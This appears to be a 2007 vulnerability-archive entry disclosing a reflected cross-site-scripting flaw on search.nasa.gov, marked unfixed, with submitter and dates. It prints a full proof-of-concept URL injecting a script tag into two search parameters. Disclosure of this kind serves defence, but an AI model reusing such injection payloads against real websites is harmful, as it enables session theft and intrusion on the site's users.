Security researcher Dean, has submitted on 28/06/2007 a cross-site-scripting (XSS) vulnerability affecting search.nasa.gov, which at the time of submission ranked 824 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 30/06/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 28/06/2007 |
Date published: 30/06/2007 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Dean |
Domain: search.nasa.gov |
Category: XSS |
Pagerank: 824 |
|---|
URL: http://search.nasa.gov/nasasearch/lb/search/advSearch.jsp?nasaInclude=%3Cscript%3Ealert('xss');%3C/s
cript%3E&qt=all&qx=&qm=anywhere&dct=Any+Type&dn=%3Cscript%3Ealert('XSS');%3C/script%3E&dt=at&recPerP
g=10&displayFormat=detail&sortBy=Scoredesc&Go=+Go+ |
|
Click here to view the mirror
|
|
|
| 
